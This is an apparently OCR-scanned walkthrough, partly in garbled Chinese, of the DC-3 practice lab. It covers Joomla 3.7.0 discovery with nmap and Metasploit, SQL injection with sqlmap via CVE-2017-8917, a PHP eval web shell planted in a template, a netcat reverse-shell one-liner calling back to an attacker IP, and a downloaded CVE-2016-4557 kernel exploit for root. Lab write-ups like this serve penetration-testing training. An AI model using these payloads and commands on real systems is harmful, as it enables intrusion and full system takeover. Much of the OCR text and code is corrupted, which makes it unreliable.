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DESCRIPTION
DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag,
one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAUY for assistance to get you going
again. But take note: Iwon’'t give you the answer, instead, I'll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you
less than 20 minutes easily).

If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of
gaining root and obtaining the flag.
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nmap -sP 172.21.34.0/24

Nmap scan report for 1

Host is up (
MAC Address: @8:00:27:2E:55:BC (Oracle VirtualBox wvirtual NIC)
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Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-24 10:04 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 10:04
Completed NSE at 10:04, 0.00s elapsed
Initiating NSE at 10:04
Completed NSE at 10:04, 0.00s elapsed
Initiating NSE at 10:04
Completed NSE at 10:04, 0.00s elapsed
Initiating ARP Ping Scan at 10:04
Scanning 172.21.34.31 [1 port]
Completed ARP Ping Scan at 10:04, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:04
Completed Parallel DNS resolution of 1 host. at 10:04, 0.00s elapsed
Initiating SYN Stealth Scan at 10:04
Scanning 172.21.34.31 [65535 ports]
Discovered open port 8@/tcp on 172.21.34.31
Completed SYN Stealth Scan at 10:04, 1.27s elapsed (65535 total ports)
Initiating Service scan at 10:04
Scanning 1 service on 172.21.34.31
Completed Service scan at 10:04, 11.06s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 172.21.34.31
NSE: Script scanning 172.21.34.31.
Initiating NSE at 10:04
Completed NSE at 10:04, 0.41s elapsed
Initiating NSE at 10:04
Completed NSE at 10:04, 0.04s elapsed
Initiating NSE at 10:04
Completed NSE at 10:04, 0.00s elapsed
Nmap scan report for 172.21.34.31
Host is up (0.00072s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
http Apache httpd 2.4.18 ((Ubuntu))
_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
_http-generator: Joomla! - Open Source Content Management
http-methods:

Supported Methods: GET HEAD POST OPTIONS
_http-server-header: Apache/2.4.18 (Ubuntu)
_http-title: Home
MAC Address: ©8:00:27:2E:55:BC (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

O0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.9

Uptime guess: 198.048 days (since Wed Mar 10 ©8:55:41 2021)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=259 (Good luck!)

IP ID Sequence Generation: All zeros
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NSE: Script Post-scanning.
Initiating NSE at 10:04
Completed NSE at 10:04, 0.00s elapsed
Initiating NSE at 10:04
Completed NSE at 10:04, 0.00s elapsed
Initiating NSE at 10:04
Completed NSE at 10:04, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.28 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
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msf6 auxiliary( ) » search Joomla

Matching Modules

Name Disclosure Date Rank Check Description
auxiliary/scanner/http/joemla gallerywd_sqli_scanner 2015-83-30 normal No Gallery WD for Jeomla! Unauthenticated SQL Injection Scanner
exploit/unix/webapp/jeomla_tinybrowser 2009-87-22 Yes Joomla 1.5.12 TinyBrowser File Upload Code Execution
auxiliary/admin/http/joemld registration_privesc 2016-10-25 normal Yes Joomla Account Creation and Privilege Escalation
exploit/unix/webapp/jeomla_akeeba_unserialize 2014-09-29 Yes Joomla Akeeba Kickstart Unserialize Remote Code Execution
auxiliary/scanner/http/[joBfld bruteforce login normal No Joomla Bruteforce Login Utility
exploit/unix/webapp/jeomla_comfields_sqli_rce 2017-85-17 Yes Joomla Component Fields SQLi Remote Code Execution
exploit/unix/webapp/jeomla_comjce_imgmanager 2012-08-02 Yes Joomla Component JCE File Upload Remote Code Execution
exploit/unix/webapp/jeomla_contenthistory_sqli_rce 2015-10-23 Yes Joomla Content History SQLi Remote Code Execution
exploit/multi/http/jeemla_http_header_rce 2015-12-14 Yes Joomla HTTP Header Unauthenticated Remote Code Execution
exploit/unix/webapp/jeomla_media_upload_exec 2013-08-01 Yes Joomla Media Manager File Upleoad Vulnerability
auxiliary/scanner/http/JoBfla_pages normal No Joomla Page Scanner

auxiliary/scanner/http/joemla plugins normal No Joomla Plugins Scanner

auxiliary/gather/joemla_com_realestatemanager_sqli 2015-10-22 nermal Yes Joomla Real Estate Manager Component Error-Based SQL Injection
auxiliary/scanner/http/joemba_version nermal No Joomla Version Scanner

auxiliary/gather/joemld_contenthistory_sqli 2015-10-22 nermal Yes Joemla com_contenthistory Error-Based SQL Injection
auxiliary/gather/joemla_weblinks_sqgli 2014-03-02 nermal Yes Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
auxiliary/scanner/http/joemba_ecommercewd_sqli_scanner 2015-03-20 nermal No Web-Dorado ECommerce WD for J@@mla! search_category_id SQL Injectien Scanner
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Interact with a module by name or index. For example i

msfé auxiliary( ) > use 13

sf6 auxiliary( } > set rhosts 172.21.34.31
rhosts = 172.21.34.31

msfé auxiliary( ) > run

Server: Apache/2.4.18 (Ubuntu)
[+] Joomla version: 3.7.@
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed A
e ==
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joomla 3.7.0

Exploit Title URL

- 'com_fields' SQL Injection | https://ww.exploit-db.com/exploits/42@33
Component Easydiscuss < 4.0.21 - Cross-5i | https://vwww.exploit-db.com/exploits/43488

Shellcodes: No Results

KILCVE-2017-8917 SQLIEANIGIF: https:/mww.exploit-db.com/exploits/42033
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sqlmap -u "http://172.21.34.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml

-dump
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--risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '# users'

in database "joomladb’

pt [Blowfish

Cost 1 (i on count)
run 4 OpenMP thr

completed

1E http://172.21.34.31/administrator/index.php &3¢,

index.php, N_t—%)iE

Editor Create Ov

Template Description
Editing file "/index.php" in template "beez3".

& css

& html

& images

& javascript

& language

[ componentphp

O errorphp

[Oindex.php

[ jsstrings.php
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[ template_thumbnail.png
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<?php eval (§_POST[cndl) ;7>

<?php

e

* @package TJoonla, Site
@subpackage Tenplates. beezd

Copyright (C) 2005 - 2017 Open Source Matters, Inc. 411 rights reserved.

W
*

* @copyright
* GNU General Public License wersion 2 or later: see LICENSE.txt

@l icenss

*

Af No direct access.
defined(’ _JEXEC') or die:

¥ @var JDocumentHtnl $this */
JLoader: : import (" joomla. filesystem £1le’)

/f Check modules

§showRightColunn = (§this->countModules( position=3") or §this->countModules( position—6") or §this->countiodules position=5"));
$showbottom = (§this—rcountModules (’ position-9') or §this—>countModules ’ position—10"] or $this—>countModules( position—11")):
§showleft = (fthis-dcountModules (position—4’) or $this—>countModules( position-7') or §this—rcountModules( position-6'));

1f ($shewRightColunm == 0 and $showleft == 0)
{

$showno = 0;
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Linux DC-3 4.4.0-21-gen

{
(
{

ric #37-Ubuntu SMF Mon Apr 18 18:34:49%9 UTC 2016 i6B6 1686 i6B6 GNU/Linux
{
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) %
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Se&shell, kali FiE4T

F REEHL bR openbsd nc, A3 F-e, FrbAMEH LT 4 R #shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/ sh -i 2>&1|nc 192.168.141.134 4444 >/tmp/f

{ H ) £ nc 172.21.34.37 4444 -e /bin/bash
nc: invalid option — ‘e’

This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bChdhjklnrStluvZz] [-I length] [-i interwval] [-0 length]
[-F prozy username] [-p source_port] [-g seconds] [-3 source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy protocol]
[-x proxy address[:port]] [destination] [port]
: ) &
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ffFICVE-2016-4557: https://www.exploit-db.com/exploits/39772

kali T #EXP

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip --no-check-ce

rtificate

JE Ehweb iR 55
python -m SimpleHTTPServer 8090

BHLTE, #E, wmiFsT

wget http://172.21.34.30:8090/39772.zip

tar xvf exploit.tar

cd ebpf mapfd doubleput exploit
sh compile.sh
./doubleput
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